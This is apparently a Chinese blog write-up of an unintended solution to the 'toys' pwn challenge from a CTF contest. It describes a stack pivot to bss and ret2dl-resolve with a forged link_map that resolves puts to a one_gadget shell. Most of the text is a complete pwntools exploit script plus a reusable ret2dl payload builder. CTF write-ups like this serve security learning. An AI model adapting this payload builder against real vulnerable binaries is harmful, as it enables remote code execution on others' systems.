春秋杯冬季赛day3 pwn toys非预期解

先上结论:非预期解利用ret2dl

题目分析

题目很简单,由于fgets遇到\0不会截断,所以那个if判断很容易绕过

问题是没有可以用的gadget,唯一能操作的就是fgets(s,4919,stdin)里面的s是根据rbp来寻址的,所以可以根据这一点打一个栈迁移

思路分析

第一次,修改rbp到bss上,这样下一次fgets时就可以输入到bss段上

第二次,向bss段上输入fake_link_map和rop链,利用ret2dl将puts函数解析为onegadget(64位可以这样操作,32位是根据函数名字符串寻址的,所以不能操作,dl具体知识有点忘了,不确定说的对不对,感兴趣可以自行查阅一下)

简单就简单在dl很模板,只需要把板子套对即可

# 传参分别为:伪造的link_map地址、在got表中存在函数地址的got地址、libc中system的地址、第二个参数对应的函数在libc中的地址
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
    offset = system_base - solved_base

    fake_Elf64_Dyn = b""
    fake_Elf64_Dyn += p64(0)  # d_tag  从link_map中找.rel.plt不需要用到标签, 随意设置
    fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)  # d_ptr  指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体

    fake_Elf64_Rela = b""
    fake_Elf64_Rela += p64(
        fake_link_map_addr - offset)  # r_offset rel_addr = l->addr+reloc_offset,
    # 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
    fake_Elf64_Rela += p64(7)  # r_info index设置为0,最后一字节必须为7
    fake_Elf64_Rela += p64(0)  # r_addend  随意设置

    fake_Elf64_Sym = b""
    fake_Elf64_Sym += p32(0)  # st_name 随意设置
    fake_Elf64_Sym += b'AAAA'  # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
    fake_Elf64_Sym += p64(got_solved_addr - 8)  # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
    fake_Elf64_Sym += p64(0)  # st_size 随意设置

    fake_link_map_data = b""
    # 如果offset为负数使用补码
    if offset < 0:
        fake_link_map_data += p64(2 ** 64 + offset)  # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
    else:
        fake_link_map_data += p64(offset)  # l_addr,伪造为两个函数的地址偏移值

    fake_link_map_data += fake_Elf64_Dyn
    fake_link_map_data += fake_Elf64_Rela
    fake_link_map_data += fake_Elf64_Sym
    fake_link_map_data += b'\x00' * 0x20
    fake_link_map_data += p64(fake_link_map_addr)  # DT_STRTAB 设置为一个可读的地址
    fake_link_map_data += p64(fake_link_map_addr + 0x30)  # DT_SYMTAB 指向对应结构体数组的地址
    fake_link_map_data += b"/bin/sh\x00"
    fake_link_map_data += b'\x01' * 0x78
    fake_link_map_data += p64(fake_link_map_addr + 0x8)  # DT_JMPREL 指向对应数组结构体的地址

    return fake_link_map_data

第一次发送payload,目的是改变rbp,从而使下次输入到bss上

注意不要把mov rbp,rsp带上,那样就白改rbp了

这样下一次fgets就输入到了bss段上

要注意的是上面有一个0x404550,这是为了在第二次leave之后把rbp放到一个适当的位置,以满足onegadget的条件

最后link_map,r_offset通过栈传参,所以别忘了把他俩传一下,最终成功getshell

附赠完整payload

from pwnplus import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
# 传参分别为:伪造的link_map地址、在got表中存在函数地址的got地址、libc中system的地址、第二个参数对应的函数在libc中的地址
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
    offset = system_base - solved_base

    fake_Elf64_Dyn = b""
    fake_Elf64_Dyn += p64(0)  # d_tag  从link_map中找.rel.plt不需要用到标签, 随意设置
    fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)  # d_ptr  指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体

    fake_Elf64_Rela = b""
    fake_Elf64_Rela += p64(
        fake_link_map_addr - offset)  # r_offset rel_addr = l->addr+reloc_offset,
    # 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
    fake_Elf64_Rela += p64(7)  # r_info index设置为0,最后一字节必须为7
    fake_Elf64_Rela += p64(0)  # r_addend  随意设置

    fake_Elf64_Sym = b""
    fake_Elf64_Sym += p32(0)  # st_name 随意设置
    fake_Elf64_Sym += b'AAAA'  # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
    fake_Elf64_Sym += p64(got_solved_addr - 8)  # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
    fake_Elf64_Sym += p64(0)  # st_size 随意设置

    fake_link_map_data = b""
    # 如果offset为负数使用补码
    if offset < 0:
        fake_link_map_data += p64(2 ** 64 + offset)  # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
    else:
        fake_link_map_data += p64(offset)  # l_addr,伪造为两个函数的地址偏移值

    fake_link_map_data += fake_Elf64_Dyn
    fake_link_map_data += fake_Elf64_Rela
    fake_link_map_data += fake_Elf64_Sym
    fake_link_map_data += b'\x00' * 0x20
    fake_link_map_data += p64(fake_link_map_addr)  # DT_STRTAB 设置为一个可读的地址
    fake_link_map_data += p64(fake_link_map_addr + 0x30)  # DT_SYMTAB 指向对应结构体数组的地址
    fake_link_map_data += b"/bin/sh\x00"
    fake_link_map_data += b'\x01' * 0x78
    fake_link_map_data += p64(fake_link_map_addr + 0x8)  # DT_JMPREL 指向对应数组结构体的地址

    return fake_link_map_data
payload1=b'\x00'*0x80+p64(0x404500+0x80)+p64(0x0000000000401247)
p.sla(b'Data: ',payload1)
fake_link_map_addr=0x4045a0
jmp_dl=0x401026
leave_ret=0x00000000004012cd
onegadget=[0x583dc,0x583e3,0xef4ce,0xef52b]
ret2dldata=get_ret2dl_data(fake_link_map_addr,elf.got['puts'],onegadget[3],libc.symbols['puts'])
payload2=b'\x00'*0x80+p64(0x404550)+p64(jmp_dl)+p64(fake_link_map_addr)+p64(0)+ret2dldata
# p.debug()
p.sla(b'Data: ',payload2)

p.ia()

有关dl的知识自行学习,了解dl的肯定一看就懂了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇